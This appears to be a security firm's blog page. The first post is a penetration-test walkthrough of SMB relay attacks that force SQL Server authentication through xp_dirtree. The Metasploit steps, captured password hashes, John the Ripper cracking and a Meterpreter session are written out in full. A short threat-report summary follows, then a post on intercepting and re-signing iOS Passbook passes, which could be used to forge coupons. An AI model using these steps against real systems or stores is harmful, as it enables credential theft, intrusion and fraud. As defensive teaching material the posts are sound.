Executing SMB Relay Attacks via SQL Server using Metasploit

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test. Below is a summary of what will be covered in this blog:

  • A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system. I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems. 2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack. Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.

How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (serverfile).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.

The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:

In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Service Account Network CommunicationSMB CaptureSMB Capture
NetworkServiceComputer AccountYesNo
Local AdministratorLocal AdministratorYesYes
Domain UserDomain UserYesYes
Domain AdminDomain AdminYesYes

Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.

Img E A Ec

The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.

Systems for the scenario:

  • SQL  Server 1:
  • Attacker System:

1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the script from the jumbo pack. They can be downloaded from

C:>perl –seed WINTER2 –file john_hashes.txt


Loaded 1 password hash (LM C/R DES [netlm]) WINTER2012 (sqlaccount) guesses: 1 time: 0:00:00:10

DONE (Mon Nov 26 10:59:56 2012) c/s: 428962 trying: WINTER204K – WINTER211IA


2. Run the same command again to obtain the case sensitive password.

C:>perl –seed WINTER2 –file john_hashes.txt


Performing NTLM case-sensitive crack for account: sqlaccount. guesses: 1 time: 0:00:00:00 DONE (Mon Nov 26 11:01:54 2012) c/s: 1454 trying: WINTER2012 – winter2012 Use the “–show” option to display all of the cracked passwords reliably Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm]) Winter2012 (sqlaccount)


If you’re interested in automating the process a little, Karl Fosaaen has created a PowerShell script to do it for you:

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.

Img E A Ec

Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account. Systems for the scenario:

  • SQL  Server 1:
  • SQL  Server 2:
  • Attacker System:

Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1:

msfconsole use auxiliary/admin/mssql/mssql_ntlm_stealer



set USERNAME test

set PASSWORD Password12


set RPORT 1433


msf auxiliary(mssql_ntlm_stealer) > run

[*] DONT FORGET to run a SMB capture or relay module!

[*] Forcing SQL Server at to auth to via xp_dirtree…

[*] Received LVAsqlaccount LMHASH:feefee989 c0b45f833b7635f0d2ffd667f4bd0019c952d5a NTHASH:8f3e0be3190fee6b d17b793df4ace8f96e59d324723fcc95 OS:Windows Server 2003 3790 Service Pack 2 LM:

[*] Authenticating to as LVAsqlaccount…

[*] AUTHENTICATED as LVAsqlaccount…

[*] Connecting to the ADMIN$ share…

[*] Regenerating the payload…

[*] Uploading payload…

[*] Created saEQcXca.exe…

[*] Connecting to the Service Control Manager…

[*] Obtaining a service manager handle…

[*] Creating a new service…

[*] Closing service handle…

[*] Opening service…

[*] Starting the service…

[*] Removing the service…

[*] Sending stage (752128 bytes) to

[*] Closing service handle…

[*] Deleting saEQcXca.exe…

[*] Sending Access Denied to LVAsqlaccount

[+] Successfully executed xp_dirtree on

[+] Go check your SMB relay or capture module for goodies!

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mssql_ntlm_stealer) >

[*] Meterpreter session 1 opened ( -> at 2012-11-26 11:54:18 -0600

I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap up

I would like to make it clear that none of these are original ideas. Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!


2013 Cyber Threat Forecast Released

The Georgia Tech Information Security Center and Georgia Tech Research Institute recently released their 2013 report on emerging cyber threats. Some of these threats are fairly predictable, such as cloud-based botnets, vulnerabilities in mobile browsers and mobile wallets, and obfuscation of malware in order to avoid detection. However, some areas of focus were a bit more surprising, less in a revelatory sense and more simply because the report specifically called them out. One of these areas is supply chain insecurity. It is hardly news that counterfeit equipment can make its way into corporate and even government supply chains but, in an effort to combat the threat, the United States has redoubled efforts to warn of foreign-produced technology hardware (in particular, Chinese-made networking equipment).  However, the report notes that detecting counterfeit and compromised hardware is a difficult undertaking, particularly for companies that are already under the gun to minimize costs in a down economy.  Despite the expense, though, the danger of compromise of intellectual property or even critical infrastructure is very real and should not be ignored. Another interesting focus of the report is healthcare security.  The HITECH Act, which was enacted in 2009, provided large incentives for healthcare organizations to move to electronic systems of medical records management. While the intent of this push was to improve interoperability and the level of patient care across the industry, a side effect is a risk to patient data. The report notes what anyone who has dealt with information security in the healthcare world already knows: that healthcare is a challenging industry to secure.  The fact that the report calls out threats to health care data emphasizes the significance of the challenges in implementing strong controls without impacting efficiency. Addressing the threats of information manipulation, insecurity of the supply chain, mobile security, cloud security, malware, and healthcare security, the report is a recommended read for anyone in the information security field. The full report can be found at:  


Hacking Passbook, the Real Way to do Extreme Couponing

With the release of iOS 6, Apple introduced the Passbook application. Currently there are sixteen different applications that support Passbook integration. The purpose of the Passbook application is to provide a one-stop application to manage all of your coupons, loyalty/gift cards, and tickets/boarding passes. This all sounds great, but what happens when an attacker abuses this service to get discounts or to access other peoples’ gift cards. This blog will show you how easy it is to intercept Passbook passes, modify them, and redeploy them to the Passbook application. The Passbook passes are typically generated by applications at the user’s request. The user tells the application that they want their coupon/ticket/etc. in their Passbook and the application calls out to its Passbook server. At this point, the Passbook server generates the pass and sends it back to the app to pass on to the user.

How can we break it?

Now there are already multiple services available that will generate Passbook passes for you. I’m not going to cover those here, as they have their own ways of creating passes and that’s not what we’re looking to do. In this blog, you’ll see how you can intercept a Passbook .pkpass file from the source and modify it for your own uses.

How to intercept the pass

The easiest way to intercept the Passbook URLs and/or files is by using a proxy. I have Burp Proxy set up on a laptop to intercept web traffic from my iPhone. Once you identify the Passbook request URLs (assuming the application uses HTTP for requests), you can easily replay the request (in a browser) from the intercepting host to get the .pkpass file. Additionally, you could sniff out wireless traffic from your wireless network and identify Passbook requests.

Deconstructing the .pkpass

Plain and simple, .pkpass files are zip files. All you have to do to access the internal files is unzip the file. Once unzipped, the three required files contained in the .pkpass folder are:

  • manifest.json (generated by Apple’s signpass tool)
  • pass.json (contains the Passbook pass data)
  • signature (a signature file for integrity

Additional image files may be in the folder to be used by the pass (icon.png, thumbnail.png, strip.png), but those are all considered optional. If you are looking at an intercepted pass file, you will most likely find additional images used for the pass.

The most interesting file is the pass.json file. A sample of the pass.json:

{ "passTypeIdentifier":" MobileCoupon", "formatVersion":1, "organizationName":"ACME Corporation", "serialNumber":"ABCDX-12345", "teamIdentifier":"A9BKD012", "logoText": "", "description":"ACME coupons.", "webServiceURL":"", "authenticationToken":"123456789123456789123456789", "suppressStripShine" : 1, ], "locations":[ {"latitude" : 44.989893, "longitude" : -93.279087} ]

Here are the important parts that you need to modify, if you’re going to regenerate your own pass.

  • passTypeIdentifier
    -This will later be changed to your Identifier (see below)
  • teamIdentifier
    – This will also get changed to yours (also see below)
  • webServiceURL
    – You may just want to remove this one (otherwise the pass may phone home for updates)
  • authenticationToken
    – You may also want to delete this as well (it’s not going to get used by anything)

How to create your own passes with signpass

At this point, I’m going to assume that you’re using a Mac to generate your passes. You can do this from Windows, but it’s a little more complicated (and a possible future blog post). Get yourself an iOS developer account with Apple. It’s $99 and you actually get some interesting stuff with it (assuming you’re into iOS). Once you have an account, you need to create a “New Pass Type ID” from the iOS Provisioning Portal. This pass type ID will be used by the pass.json file as the passTypeIdentifier and the teamIdentifier. You can follow the steps on Apple’s site to create the ID. Open the “configure” action on the Pass Type ID page and download the pass certificate. Once you download your certificate, install it to your OSX keychain and you should be good to sign your own passes.


The Apple developers site has the Passbook SDK available that contains the signpass application for generating .pkpass files. The SDK actually provides several example passes that you can generate on your own for testing. In order to generate the actual .pkpass files, you will need to compile the signpass application in Xcode (the project is in the SDK files). This can be a pain if you’re not familiar with Xcode. Basically, you build the application in Xcode, click on “Products” (on the left), right click on signpass, and click “Show in Finder.” This will bring you to the compiled application, where you can copy it out to your Passbook directory.

Once you’ve compiled the signpass application, you can use it to generate the manifest.json and signature files. The application will also zip all the files into the .pkpass file. You can use your intercepted file that you unzipped earlier, but you will want to delete the signature and manifest.json files before you try and recreate the .pkpass file. You will also want to modify the pass.json parameters (passTypeIdentifier and teamIdentifier) to match the certificate you just downloaded from Apple. Finally, since you’re working on a Mac, you need to delete any .DS_Store files that get created in your .pkpass folder. If there is a .DS_Store file in the folder and it isn’t caught by the manifest.json file, your pass will not be valid on the phone.

Here’s an example of the .pkpass creation:

{ NetSPIs-MacBook-Pro:netspi NetSPI$ ./signpass -p NetSPI.raw/  2012-11-12 15:00:04.512 signpass[945:707] {  "icon.png" = 575b58cc687b853935c63e800a63547a9c54572f;  "icon@2x.png" = dbfca47b69c6f0c7fc452b327615bc98d7732d33;  "logo.png" = d360269292d8cfe37f5566bba6fb643d012bef84;  "logo@2x.png" = cdd3c98dd3044fe3d82bcea0cca944242cdcc6bf;  "pass.json" = f72d3d597c7fc9d1f2132364609d32c9890de458;  "strip.png" = b9f823da6eefc83127b68f0ccca552514803ed1f;  "strip@2x.png" = 319991c69de365c0d2a8534e0997aea01f08d3eb;  "thumbnail.png" = a68cc65e48febb6e603682d057d4e997da64a6a5;  "thumbnail@2x.png" = 7ec0e3c38225fea3a5b0dbb36d7712c27b8b418f; }

Sending passes via email or web

The easiest way to deploy your newly created pass is through email. A properly signed .pkpass file should show up in your iOS mailbox as a Passbook pass without any issue. Additionally, .pkpass files can be downloaded from a web server that has support for serving .pkpass files.



The primary risk that I see with intercepting Passbook files is fraud. Someone could potentially modify a pass to try and get a discount at a store, or maybe gain access to someone else’s rewards account. This can easily be stopped by using strong controls on the business’s side, but there’s always a risk of social engineering. For those developing Passbook integration for their applications, make sure all of your pass files are sent over securely encrypted channels and ensure that your business has strong controls to prevent tampering with Passbook passes.

For those that would like a copy of the NetSPI pass shown above, email me

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.